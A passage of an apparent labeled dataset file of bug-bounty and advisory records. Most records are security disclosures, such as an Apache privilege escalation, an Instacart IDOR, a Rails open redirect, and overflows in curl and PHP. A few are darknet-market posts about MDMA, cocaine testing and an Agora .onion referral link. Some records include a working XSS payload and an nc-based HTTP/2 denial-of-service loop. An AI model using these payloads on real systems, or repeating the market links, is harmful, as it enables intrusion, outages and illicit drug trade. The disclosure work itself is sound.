below:\n\n```\nECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!3DES:!MD5:!PSK\n```\n\n##Why should I trust the list above and what difference would it make to my infrastructure?\nThe openssl bugs are very frequent and every new release of openssl raises one or other over-hyped SSL related vulnerability creating havoc on internet. Given this scenario, it may not be able to keep on upgrading openssl (most of the time upgrading openssl requires OS/server restart) for every release, therefore, the correct approach is to reduce the attack surface. \nAnd couple of reasons:\n* The preferred cipher suites listed above is well tested for security,speed,order of preference.\n* The above list is the minimal list of cipher suites that supports all modern/old browser(exception IE on XP)\n* The list above only has strong cipher suites in order of preference(essentially with the list above you are saying internet that you only support strong cipher suites and force clients to establish handshake on preferred list).\n* The cipher suites list above supports perfect forward secrecy for all modern browsers.\n\n**Most importantly, speed:**\nAs you business model demands end users to share PII data on your infrastructure, besides security, speed has to be another important factor into consideration. You could very well see the difference on speed of SSL handshake between client and your infrastructure with the command below:\n\n```\nfor x in {1..10}; do curl -kso /dev/null -w \"tcp:%{time_connect}, ssldone:%{time_appconnect}\\n\" https://viestinta.lahitapiola.fi; done\n```\n\nRun the above bash command before and after updating cipher suites to find out the speed of SSL handshake.\n\n**__PS: The cipher suite list not only applies for viestinta.lahitapiola.fi but for all your business critical infrastructure.__**\n\nRegards\nAkshya", "source": "hackerone", "timestamp": "2017-02-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "0c5aed3585f75e3a8875", "text": "Team Johnlong RaidenTunes 2.1.1 Remote Cross-Site Scripting Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2010-08-04", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "7b6227c2dfb86997ac75", "text": "[Cross-site Scripting (XSS) - Reflected] Cross Site Scripting (Reflected) on https://www.acronis.cz/\n\nSummary\nYou can post javascript and html code in form fields\n\nsteps :\n1-go to vulnerability link : https://www.acronis.cz/poptavka-acronis/\n2- enter this javascript code \"><script>alert(1);</script> in form field for xss and enter <a+href=\"https://bing.com\">Test</a> for html injection.\n\n## Impact\n\nImpact\n1- Cookie stealing\n2- Pishing attacks\n3- URL redirection", "source": "hackerone", "timestamp": "2021-11-17", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "fb3654cac97c485fbbb9", "text": "qEngine CMS 6.0.0 Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2014-03-25", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "a8e6246b073c516eef28", "text": "[Silk Road 1] Re: What's really in an Ecstasy Pressed Pill?\n\nHello all. I have order mdma from most all this top venders. Super trips to schitofreen to UGS. I MUST Say however each affect was different per vender. My most enjoyable experience was this..it was crystal  mdma and it gave me visuals such as green leaves on a tree or a persons pink shirt. All looked like florescent light bulbs real bright and pretty.  All sounds from the wind to the tree leaves shaking. Was crystal clear and intensified..no empathy though. Can anyone tell me which mdma pills out there have given them the affects I just mentioned.thank you", "source": "gayanku", "timestamp": "2013-04-25", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "115742db0e2fd648bfcf", "text": "[Uncontrolled Resource Consumption] DoS for HTTP/2 connections by crafted requests (CVE-2018-1333)\n\nmod_http2 can be tricked by specially crafted requests to hold server resources longer than necessary.\n\nA simple demonstration of this for a server with h2c enabled is as follows:\nfor x in `seq 0 500`; do echo 505249202a20485454502f322e300d0a0d0a534d0d0a0d0a00001204000000000000000000006400044000000000020000000000001b0104000000018284864187089d5c0b8178ff7a8825b650c3abb6f2e053032a2f2a00001b0105000000019a84864187089d5c0b8178ff7a880000000000000000 | xxd -r -p | nc hostname port 2>&1 >/dev/null & done\n\n## Impact\n\nCertain crafted HTTP2 requests identified with afl-fuzz can cause Apache worker threads to stay open waiting for data until a timeout. A typical configuration has a 1 minute timeout with 150 request workers. This means an attacker can effectively make the service unresponsive to legitimate users with a slow rate (3-4 requests/second) of short crafted requests.", "source": "hackerone", "timestamp": "2018-10-28", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "dd8a537bcd3f9e23d7f6", "text": "[Unknown] Null pointer deref with ob_start with compact\n\nhttps://bugs.php.net/bug.php?id=71220", "source": "hackerone", "timestamp": "2019-10-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d363ec9ca4f01ac75a2b", "text": "SopCast 3.4.7 (Diagnose.exe) Improper Permissions\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-12-05", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "6dabef785f01a93221b0", "text": "Gecko CMS 2.3 Multiple Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2015-01-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "51d1d1d2a03eb24c4f77", "text": "[Privilege Escalation] Apache HTTP [2.4.17-2.4.38] Local Root Privilege Escalation\n\nHello,\n\nI reported a Local Root privilege escalation vulnerability on Apache HTTPd at the beginning of the year. Apache has now patched it, [as you can see here](https://httpd.apache.org/security/vulnerabilities_24.html#CVE-2019-0211).\nThe vulnerability affects mod_prefork, mod_event, and mod_worker, the most used mods on Linux.\nBasically, this is an arbitrary function call as root triggered whenever the server gracefully restarts, which is generally once a day.\n\nHere is the article I plan to publish soon, as MarkDown (careful, wall of text):\n\n# Introduction\n\nFrom version 2.4.17 (Oct 9, 2015) to version 2.4.38 (Apr 1, 2019), Apache HTTP suffers from a local root privilege escalation vulnerability due to an out-of-bounds array access leading to an arbitrary function call.\nThe vulnerability is triggered when Apache gracefully restarts (`apache2ctl graceful`).\nIn standard Linux configurations, the `logrotate` utility runs this command once a day, at 6:25AM, in order to reset log file handles.\n\n*The vulnerability affects `mod_prefork`, `mod_worker` and `mod_event`. The following bug description, code walkthrough and exploit target `mod_prefork`.*\n\n# Bug description\n\nIn MPM prefork, the main server process, running as `root`, manages a pool of single-threaded, low-privilege (`www-data`) worker processes, meant to handle HTTP requests.\nIn order to get feedback from its workers, Apache maintains a shared-memory area (SHM), `scoreboard`, which contains various informations such as the workers PIDs and the last request they handled.\nEach worker is meant to maintain a `process_score` structure associated with its PID, and has full read/write access to the SHM.\n\n*ap_scoreboard_image: pointers to the shared memory block*\n```\n(gdb) p *ap_scoreboard_image \n$3 = {\n global = 0x7f4a9323e008, \n parent = 0x7f4a9323e020, \n servers = 0x55835eddea78\n}\n(gdb) p ap_scoreboard_image->servers[0]\n$5 = (worker_score *) 0x7f4a93240820\n```\n\n*Example of shared memory associated with worker PID 19447*\n```\n(gdb) p ap_scoreboard_image->parent[0]\n$6 = {\n pid = 19447, \n generation = 0, \n quiescing = 0 '\\000', \n not_accepting = 0 '\\000', \n connections = 0, \n write_completion = 0, \n lingering_close = 0, \n keep_alive = 0, \n suspended = 0, \n bucket = 0 <- index for all_buckets\n}\n(gdb) ptype *ap_scoreboard_image->parent\ntype = struct process_score {\n pid_t pid;\n ap_generation_t generation;\n char quiescing;\n char not_accepting;\n apr_uint32_t connections;\n apr_uint32_t write_completion;\n apr_uint32_t lingering_close;\n apr_uint32_t keep_alive;\n apr_uint32_t suspended;\n int bucket; <- index for all_buckets\n}\n```\n\nWhen Apache gracefully restarts, its main process kills old workers and replaces them by new ones.\nAt this point, every old worker's `bucket` value will be used by the main process to access an array of his, `all_buckets`.\n\n*all_buckets*\n```\n(gdb) p $index = ap_scoreboard_image->parent[0]->bucket\n(gdb) p all_buckets[$index]\n$7 = {\n pod = 0x7f19db2c7408, \n listeners = 0x7f19db35e9d0, \n mutex = 0x7f19db2c7550\n}\n(gdb) ptype all_buckets[$index]\ntype = struct prefork_child_bucket {\n ap_pod_t *pod;\n ap_listen_rec *listeners;\n apr_proc_mutex_t *mutex; <--\n}\n(gdb) ptype apr_proc_mutex_t\napr_proc_mutex_t {\n apr_pool_t *pool;\n const apr_proc_mutex_unix_lock_methods_t *meth; <--\n int curr_locked;\n char *fname;\n ...\n}\n(gdb) ptype apr_proc_mutex_unix_lock_methods_t\napr_proc_mutex_unix_lock_methods_t {\n ...\n apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--\n ...\n}\n```\n\nNo bound checks happen. Therefore, a rogue worker can change its `bucket` index and make it point to the shared memory, in order to control the `prefork_child_bucket` structure upon restart. Eventually, and before privileges are dropped, `mutex->meth->child_init()` is called.\nThis results in an **arbitrary function call as root**.\n\n# Vulnerable code\n\nWe'll go through `server/mpm/prefork/prefork.c` to find out where ", "source": "hackerone", "timestamp": "2019-09-11", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b41f915e59ad644876e3", "text": "BGS CMS v2.2.1 Multiple Stored Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2012-04-11", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "139d2328b79242797864", "text": "[Agora] OFFICAL AGORA REFERRAL LINK FOR NEW USERS HERE --- REGISTER TO AGORA HERE\n\nhttp://agorahooawayyfoe.onion/register/B3RuMTqvzm", "source": "gayanku", "timestamp": "2014-09-10", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "9b69c1bd650f2c411f04", "text": "TP-Link TL-WR740N Wireless Router Remote Denial Of Service Exploit\n\nSeverity: low", "source": "zeroscience", "timestamp": "2013-03-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "015771ca02365f5500f3", "text": "Google Chrome Browser 0.2.149.27 Denial of Service Exploit\n\nSeverity: high", "source": "zeroscience", "timestamp": "2008-09-04", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "3ff01c18aa4c0d65c2dd", "text": "[Evolution] Stored XSS in Invision Power Board v.3.4.6\n\nSelling public exploits hmm? http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5106", "source": "gayanku", "timestamp": "2014-07-31", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "a57ac3e538bdb9b20d2e", "text": "Oreans Themida v2.1.8.0 TMD File Handling Buffer Overflow Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2012-03-20", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b91e71bb014053953d1d", "text": "[Open Redirect] The Host Authorization middleware in Action Pack is vulnerable to crafted X-Forwarded-Host values\n\nTitle: The Host Authorization middleware in Action Pack is vulnerable to crafted X-Forwarded-Host values\nScope: https://github.com/rails/rails\nWeakness: Open Redirect\nSeverity: Medium\nLink: https://hackerone.com/reports/1189310\nDate: 2021-05-09 06:29:19 +0000\nBy: @mshtawy\nCVE IDs: CVE-2021-22942, CVE-2021-22881\n\nDetails:\n### Steps to reproduce\nThis is a follow up to [CVE-2021-22881](https://github.com/advisories/GHSA-8877-prq4-9xfw) and https://github.com/rails/rails/commit/83a6ac3fee8fd538ce7e0088913ff54f0f9bcb6f\n\nwith a controller like the following\n```ruby\nclass TestsController < ApplicationController\n extend ActiveSupport::Concern\n\n def index\n redirect_to('/')\n end\nend\n```\nwhen sending a request like the following where the URL has a mixed case characters \n``` bash\ncurl 'http://localhost:3000/tests' -H 'X-Forwarded-Host: Evil.com'\n```\nOr all capital case \n``` bash\ncurl 'http://localhost:3000/tests' -H 'X-Forwarded-Host: EVIL.COM'\n```\n\n### Expected behavior\n```html\n<div id=\"container\">\n <h2>To allow requests to evil.com, add the following to your environment configuration:</h2>\n <pre>config.hosts << \"Evil.com\"</pre>\n</div>\n```\n\n### Actual behavior\n```html\n<html><body>You are being <a href=\"http://Evil.com/\">redirected</a>.</body></html>% \n```\n\n### System configuration\n**Rails version**: \nTested on Rails 6.1.3.1 and Rails 6.1.3.2\n**Ruby version**:\nN/A\n\n### Notes\n\nThis was fixed in `main` in this PR https://github.com/rails/rails/pull/41435 but still affects <= 6.1.3.1 \n\nThe problem is in this code https://github.com/rails/rails/blob/6-1-stable/actionpack/lib/action_dispatch/middleware/host_authorization.rb#L115\n\n``` ruby\norigin_host = valid_host.match(\n request.get_header(\"HTTP_HOST\").to_s.downcase)\nforwarded_host = valid_host.match(\n request.x_forwarded_host.to_s.split(/,\\s?/).last)\n```\n\n`forwarded_host` is missing a `downcase` after the `.to_s`, which results in `nil` assigned to `forwarded_host`, which then results in `true` in the following code\n```ruby\norigin_host && @permissions.allows?(origin_host[:host]) && (forwarded_host.nil? || @permissions.allows?(forwarded_host[:host]))\n```\nbecause of the `nil?` check on the `forwarded_host`\n```ruby\nforwarded_host.nil? || @permissions.allows?(forwarded_host[:host])\n```\n\nThe examples I gave are using `localhost`, but I also confirmed this using a production environment with a configuration like the following\n\n```ruby\n Rails.application.config.hosts = %w(.EXAMPLE.com)\n```\n\n## Impact\n\nHackers can redirect victims to a malicious website.\n\nTimeline:\n2021-08-03 20:27:55 +0000: @tenderlove (bug triaged)\n\n\n---\n\n2021-09-07 20:30:35 +0000: @tenderlove (cve id added)\n\n\n---\n\n2021-10-05 20:37:19 +0000: @tenderlove (bug resolved)\n\n## Impact\n\nHackers can redirect victims to a malicious website.", "source": "hackerone", "timestamp": "2021-11-18", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "1d76a58435e68e42e380", "text": "[Memory Corruption - Generic] Ruby 2.3.x and 2.2.x still bundle DoS vulnerable verision of libYAML\n\nlibYAML 0.1.6 (and 0.1.5) has a DoS vulnerablitity known as [CVE-2014-9130](http://www.cvedetails.com/cve/CVE-2014-9130/).\nNow Ruby 2.4.x bundles fixed version 0.1.7, but 2.3.x and 2.2.x still bundle 0.1.6.\n\nNote that I'm the maintainer of Ruby 2.3.x and 2.2.x.\nTherefore, this report is a kind of remainder.", "source": "hackerone", "timestamp": "2017-10-25", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "19c7f1766ef58adcff56", "text": "iniNet SpiderControl SCADA Editor 6.30.01 Insecure File Permissions\n\nSeverity: low", "source": "zeroscience", "timestamp": "2015-12-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "c4cae46fbb349a7e42b8", "text": "Ubisoft Uplay 5.0 Insecure File Permissions Local Privilege Escalation\n\nSeverity: low", "source": "zeroscience", "timestamp": "2015-02-25", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "aa6b9add65c3ab003000", "text": "[Incorrect Calculation of Buffer Size] CVE-2019-5435: An integer overflow found in /lib/urlapi.c\n\n## Summary:\n\nlibcurl contains a heap-based buffer overrun in /lib/urlapi.c. A similiar issue to CVE-2018-14618.\n\n## Steps To Reproduce:\n\n### analysis\n\nI found a potential integer overflow which may lead to a buffer overrun in /curl/lib/urlapi.c. In function `seturl`, urllen was multiplied by 2 and then passed to malloc. So an integer overflow will happen when the url is as long as 2GB in a 32 bit OS. \n\n```c\nstatic CURLUcode seturl(const char *url, CURLU *u, unsigned int flags)\n{\n char *path;\n bool path_alloced = FALSE;\n char *hostname;\n char *query = NULL;\n char *fragment = NULL;\n CURLUcode result;\n bool url_has_scheme = FALSE;\n char schemebuf[MAX_SCHEME_LEN];\n char *schemep = NULL;\n size_t schemelen = 0;\n size_t urllen;\n const struct Curl_handler *h = NULL;\n\n if(!url)\n return CURLUE_MALFORMED_INPUT;\n\n /*************************************************************\n * Parse the URL.\n ************************************************************/\n /* allocate scratch area */\n urllen = strlen(url);\n path = u->scratch = malloc(urllen * 2 + 2); <= overflow here\n```\n\nThe url was passed by `parseurl` to `seturl`.\n\n```c\nstatic CURLUcode parseurl(const char *url, CURLU *u, unsigned int flags)\n{\n CURLUcode result = seturl(url, u, flags);\n if(result) {\n free_urlhandle(u);\n memset(u, 0, sizeof(struct Curl_URL));\n }\n return result;\n}\n```\n\nAnd the `parseurl` was called when do `curl_url_set` and execute the parse of url. If someone use libcurl to code, and call `curl_url_set` with a extreme long url, it might be triggered.\n\n```c \nCURLUcode curl_url_set(CURLU *u, CURLUPart what,\n const char *part, unsigned int flags)\n......\ncase CURLUPART_URL: {\n /*\n * Allow a new URL to replace the existing (if any) contents.\n *\n * If the existing contents is enough for a URL, allow a relative URL to\n * replace it.\n */\n CURLUcode result;\n char *oldurl;\n char *redired_url;\n CURLU *handle2;\n\n if(Curl_is_absolute_url(part, NULL, MAX_SCHEME_LEN)) {\n handle2 = curl_url();\n if(!handle2)\n return CURLUE_OUT_OF_MEMORY;\n result = parseurl(part, handle2, flags); <= call parseurl\n if(!result)\n mv_urlhandle(handle2, u);\n else\n curl_url_cleanup(handle2);\n return result;\n }\n```\n\n## Impact\n\nIt might leads to a crash or some other impact.", "source": "hackerone", "timestamp": "2020-12-05", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "c012aedfb617e637632f", "text": "[Privilege Escalation] curl on Windows can be forced to execute code via OpenSSL environment variables\n\nPreface: While I have an interest in security, I am not a professional security researcher, so please be forgiving of any lack of convention in this submission. The intent is to help improve security of the OpenSSL and curl projects, their consumers and end users. I will be sending this same content to both projects, curl via hackerone, and OpenSSL via openssl-security@openssl.org, per directions at each maintainer website.\n\nI'm writing with regard to:\n - OpenSSL CVE-2019-1552\n - curl CVE-2019-5443\n \nBackground:\n - The root of each of these is that a default path in the OpenSSL build system for Windows targets is a location writable by a non-privileged user, and that OpenSSL configuration files placed there can change the behavior of OpenSSL, including code execution and escalation of privilege.\n - A PoC for code execution and escalation of privilege was published at:\n https://hackerone.com/reports/608577\n - This PoC uses a dynamic engine definition in such an OpenSSL configuration file to load a DLL in the security context of the application integrating the OpenSSL library, whose DLL_PROCESS_ATTACH handler inside DllMain can execute code in that context. This permits a non-elevated user to deploy code that may be executed by an elevated application.\n \nContext of this email:\n - I am currently working with OpenSSL 1.0.2t as a LTS solution.\n - I have not tested or substantially researched other branches at this time.\n \nSummary of current status:\n - OpenSSL project appears to have:\n - Designated CVE-2019-1552 as \"Low\" severity, even though the issue allows for EoP and potentially degrading the communication security intent of integrating applications, e.g. via inserting CA certificates.\n - At a high level, stated as \"Fixed in OpenSSL 1.0.2t\" (https://www.openssl.org/news/vulnerabilities.html) by this commit:\n https://github.com/openssl/openssl/commit/d333ebaf9c77332754a9d5e111e2f53e1de54fdd\n\t The fix is, however, a fix to documentation, and changes in the build script that add a sample for --prefix that is similarly insecure.\n - curl project appears to have:\n - Recommended that users update to 7.65.1_2\n - Stated that this commit \"completely disables curl's ability to load an OpenSSL config when invoked.\"\n https://github.com/curl/curl-for-win/commit/51b658a76594942cf1d6f227d8fc4732bb8ec277\n\t \n\nMy contentions:\n\n (A) The statement that CVE-2019-1552 was \"Fixed in OpenSSL 1.0.2t\" is extremely misleading, and could likely lead to users of the project updating OpenSSL without realizing that additional changes are required on their part. \n\n (B) The sample \"--prefix=c:/some/openssl/dir\" is equally as vulnerable as the default, but more significantly, it is difficult to conceive of a path that is actually safe to use, and this might not be obvious to all developers. For example:\n \n - C:\\Windows\\System32 - Windows may not always be installed on drive letter 'C', leaving a hard-coded path similarly vulnerable on some systems\n - C:\\Program Files - This path can be localized (e.g. \"Programmes\" in French-native installations), leaving a hard-coded path similarly vulnerable on some systems\n \n The OpenSSL code does not support passing an environment variable for runtime resolution, which would be a still vulnerable option, not least because Configure.pl will modify any path that is not an absolute path with drive letter, or one beginning with \"/\":\n\n $openssldir=$prefix . \"/\" . $openssldir if $openssldir !~ /(^\\/|^[a-zA-Z]:[\\\\\\/])/;\n \n One of few \"safer\" options I could think of was passing --prefix=\\NUL --openssldir=\\NUL, which should lead to a path or compound path after Configure.pl that is guaranteed to be invalid or else contain no content under Windows.\n \n In fact, in the aforementioned hackerone thread, \"vsz\" alludes to the fact that the fix in curl is not guaranteed:\n \n \"After further experiments, I managed to tweak the build so that engine support can be kept enabled, and OpenSSL be built w", "source": "hackerone", "timestamp": "2021-02-08", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "9ec08e490906ebc3d86f", "text": "[Reddit Darknet Markets] [Agora] Latest Cocaine Test Results\n\nDoing god's work!", "source": "gayanku", "timestamp": "2014-08-10", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "f47c0943205619186211", "text": "[Privilege Escalation] Authorization Bypass in Delivery Chat Logs\n\nAn authorization issue in the mobile app API allows any Instacart user to gain access to other users' order delivery chat logs. The `/api/v2/order_deliveries/:order_delivery_id/order_change_logs` endpoint does not sufficiently check if the user has permissions to access that particular order's chat logs. \n\n# Steps to Reproduce\nI used Burp Suite to intercept the traffic between my iPhone and the Instacart API. When I found the \"View \nChat Logs\" button on one of my past orders, I noticed it triggered the following API request:\n\n```\nGET /api/v2/order_deliveries/261932226/order_change_logs HTTP/1.1\nHost: www.instacart.com\nAccept: */*\n[...]\n```\n\nThis request is answered by the API with a JSON blob that contains chat messages that were exchanged between the buyer and the shopper. As well as a few other details like when the order was placed and if any changes were made to the order due to out of stock items. \n\nHowever, if you change the ID in the URL to something else, you will notice the API actually responds with the chat log and order data, regardless of who made the order. I tried with `261972220` and you can confirm this delivery does not belong to the user with account ███, but for instance `261972226` does.\n\n# Risk\nThis vulnerability leaks private messages exchanged between shopper, driver, and customer. It may also include product names that were on the order if something had to be changed about the order. \n\nHere is an example:\n{F98768}\n\nThis could lead to greater compromise, since the API returns the Firebase tokens for a few objects as well. So far I have not been able to do anything interesting with the Firebase tokens, but I'm not a Firebase expert. \n\nHere is an example (id: 261972220):\n\n```\nmichiel@msp ~ $ curl https://instacart.firebaseio.com/order_deliveries/xy8TcFsDZiKm1JwnqqFp.json\n{\"46671792\":\"\",\"46671794\":\"\",\"46671795\":\"\",\"46671802\":\"\",\"46671804\":\"\",\"46872067\":\"\",\"46872104\":\"\",\"46872195\":\"\",\"46872357\":\"\"}%\n```\n\n# Mitigation\nImplement an authorization check that makes sure only a users' own orders can be accessed.", "source": "hackerone", "timestamp": "2016-11-03", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "3b9b77338269bf54242e", "text": "Adobe InDesign CS3 INDD File Handling Buffer Overflow Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2010-06-04", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "b3f230c56a236aade78d", "text": "[Cleartext Storage of Sensitive Information] Sensitive information about a ██████\n\n**Summary:**\nhttps://████████/ is an U.S. Government (USG) Information System (IS) that is provided for USG-authorized use only.Due to some reason a document which contains the information about a special ███ for the ████ █████ which possibly is ███████or █████.The pdf file is located at https://██████/spi/█████████.pdf and also contains some drawings for the packaging of the machine.\n\nTo confirm that it indeed was a confidential document it was found that a basic search related to this pdf returns a meta info containing a label about criminal penalties for foreign export:\n\n\"WARNING – This document contains technical data whose export is restricted by the Arms Export Control Act (Title 22, U.S.C., Sec 2751 et seq.) or the Export Administration Act of 1979, (Title 50, U.S.C., App. 2401 et seq.), as amended. Violations of these export laws are subject to severe criminal penalties. Disseminate in accordance with provisions of DoD Directive 5230.25.\"\n\nTo confirm that the file is not just another special ██████████ it was discovered that the SPI number is not labeled at https://███/████████/spi?OpenPage&TableRow=2.1.1#2.1.\n\n\n## Step-by-step Reproduction Instructions\n\n1.Open any browser of your choice \n2.Head over to https://███████/spi/███████.pdf\n3.Observe the content listed in the pdf and analyse the products mentioned in there\n\n## Product, Version, and Configuration (If applicable)\nNull\n## Suggested Mitigation/Remediation Actions\nRemoval of such documents or introduction of certain authentication mechanisms would be ideal.\n\n## Impact\n\nThis exposes highly sensitive information about not just the packaging info but also the designs mentioned.\nAny person can access this document and cause information leakage.", "source": "hackerone", "timestamp": "2020-09-21", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "50b09a0dc2a96080f664", "text": "[Improper Authentication - Generic] Arbitrary write on s3://shopify-delivery-app-storage/files\n\nShort\n====\nThe policy used to upload files via the Delivery app is too generic which results in an arbitrary write (and replace) of files in the files/ directory.\n\nDisclaimer: While I was unable to create a second store to fully test this (I can't create new development stores right now, support is researching this), I strongly believe that this vulnerability works as I expect it to work due to the nature of the policy.\n\nCurrent Policy\n====\n\n {\n \"expiration\": \"2015-10-14T15:27:47Z\",\n \"conditions\": [\n {\n \"bucket\": \"shopify-delivery-app-storage\"\n },\n [\n \"starts-with\", \"$key\", \"files/\"\n ],\n {\n \"acl\": \"private\"\n },\n {\n \"success_action_status\": \"200\"\n },\n [\"content-length-range\", 0, 5368709120]\n ]\n }\n\n\nWhat's wrong here\n====\n\nThe only (security relevant) limitations we have here are:\n - Signature + Policy are only valid for one day\n - The key has to start with files/\n - ACL has to be set private\n\nSo, one can basically write arbitrary files to the S3 bucket as long as those are within the files/ dir. This doesn't hinder anybody as all the 'good stuff to replace' is under that dir. As the ACL is private, files can just be downloaded when the delivery app signed a download request, so the attacker needs to get a hold on a valid link. \n\nThe vector\n====\n - Find a shop with a downloadable good and purchase it OR get a manual direct link\n - Grab the bucket key when the file will be downloaded directly from S3 (via signed url)\n - Go to your own shop, create a product with a downloadable good\n - Note down the parameters used to POST the file when you upload it\n - Issue a new request to the key recorded from the data you don't own with the parameters you just grabbed from your own delivery app\n - Profit\n\nOne could do a ton of fun stuff to the files, to my mind come Viruses, Exploits, Illegal Content, etc.\n\nHow it should be\n====\n\nThe policy should be tailored directly to the upload at hand, especially the key. The app does return the specific path already where the file should be placed by the client, I don't see why the policy doesn't reflect that. The policy should be nailed directly to that key to eliminate this vulnerability.\n\nWhat I did that you should cleanup\n====\nI did upload 2 files to the bucket which don't belong to anyone, those files are:\n - files/hackerone/simon/brakhane/kitty.jpg\n - files/kitty.jpg\n\nYou might want to clean them away as they can't be downloaded anyway and just cost you money.\n\nCheers,\nSimon\n\nPS: I do hope strongly this isn't already known ;)", "source": "hackerone", "timestamp": "2015-10-15", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "1089e881f8e89c4dfcf5", "text": "[Integer Overflow] Int Overflow lead to Heap OverFlow in exif_thumbnail_extract of exif.c\n\nThis bug was reported to PHP last month and a fix was public last week:https://bugs.php.net/bug.php?id=76423\nHeap OverFlow in exif_thumbnail_extract of exif.c\nThis vulnerability can be triggered by exif_read_data in any 32-bit system.\nexif.c:2947:\n```\nif ((ImageInfo->Thumbnail.offset + ImageInfo->Thumbnail.size) > length) {\n\tEXIF_ERRLOG_THUMBEOF(ImageInfo)\n\treturn;\n}\nImageInfo->Thumbnail.data = estrndup(offset + ImageInfo->Thumbnail.offset, ImageInfo->Thumbnail.size);\n```\n\n`ImageInfo->Thumbnail.offset` is in range(0xffffffff) and `ImageInfo->Thumbnail.size` is in range(0xffff). In 32 bit system, `ImageInfo->Thumbnail.offset + ImageInfo->Thumbnail.size` can be an int overflow, which can bypass the check of length and lead to heap overflow in `estrndup`.\n\n\nTest script:\n---------------\nhttps://gist.github.com/yough3rt/f03920196a3bb9cec03e08e02079309a\n\nUSE_ZEND_ALLOC=0 /home/youghurt/php-llvm/bin/php IDF_tag.php\n\n\n\nExpected result:\n----------------\nNo Error.\n\nActual result:\n--------------\n```\nWhen running the test script with an ASAN enabled PHP interpreter with USE_ZEND_ALLOC=0, the following ASAN report/backtrace is generated:\n=================================================================\n==29132==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb2500000 at pc 0x0814a6cd bp 0xbfd1f388 sp 0xbfd1ef60\nREAD of size 65535 at 0xb2500000 thread T0\n #0 0x814a6cc in __asan_memcpy /home/youghurt/llvm-src/projects/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cc:23\n #1 0x95f1eaa in _estrndup /home/youghurt/php-7.2.6/Zend/zend_alloc.c:2538:2\n #2 0x899a435 in exif_thumbnail_extract /home/youghurt/php-7.2.6/ext/exif/exif.c:2951:30\n #3 0x899665e in exif_process_IFD_in_JPEG /home/youghurt/php-7.2.6/ext/exif/exif.c:3619:5\n #4 0x8995c06 in exif_process_TIFF_in_JPEG /home/youghurt/php-7.2.6/ext/exif/exif.c:3665:2\n #5 0x8995586 in exif_process_APP1 /home/youghurt/php-7.2.6/ext/exif/exif.c:3690:2\n #6 0x89918f4 in exif_scan_JPEG_header /home/youghurt/php-7.2.6/ext/exif/exif.c:3835:6\n #7 0x8990433 in exif_scan_FILE_header /home/youghurt/php-7.2.6/ext/exif/exif.c:4224:8\n #8 0x898ff1f in exif_read_from_impl /home/youghurt/php-7.2.6/ext/exif/exif.c:4365:8\n #9 0x8989e8a in exif_read_from_stream /home/youghurt/php-7.2.6/ext/exif/exif.c:4382:8\n #10 0x898a3cf in exif_read_from_file /home/youghurt/php-7.2.6/ext/exif/exif.c:4409:8\n #11 0x89829b7 in zif_exif_read_data /home/youghurt/php-7.2.6/ext/exif/exif.c:4482:9\n #12 0x9cb0053 in ZEND_DO_ICALL_SPEC_RETVAL_USED_HANDLER /home/youghurt/php-7.2.6/Zend/zend_vm_execute.h:617:2\n #13 0x999e521 in execute_ex /home/youghurt/php-7.2.6/Zend/zend_vm_execute.h:59723:7\n #14 0x999fb57 in zend_execute /home/youghurt/php-7.2.6/Zend/zend_vm_execute.h:63760:2\n #15 0x972f63e in zend_execute_scripts /home/youghurt/php-7.2.6/Zend/zend.c:1496:4\n #16 0x9438e0c in php_execute_script /home/youghurt/php-7.2.6/main/main.c:2590:14\n #17 0x9f844cc in do_cli 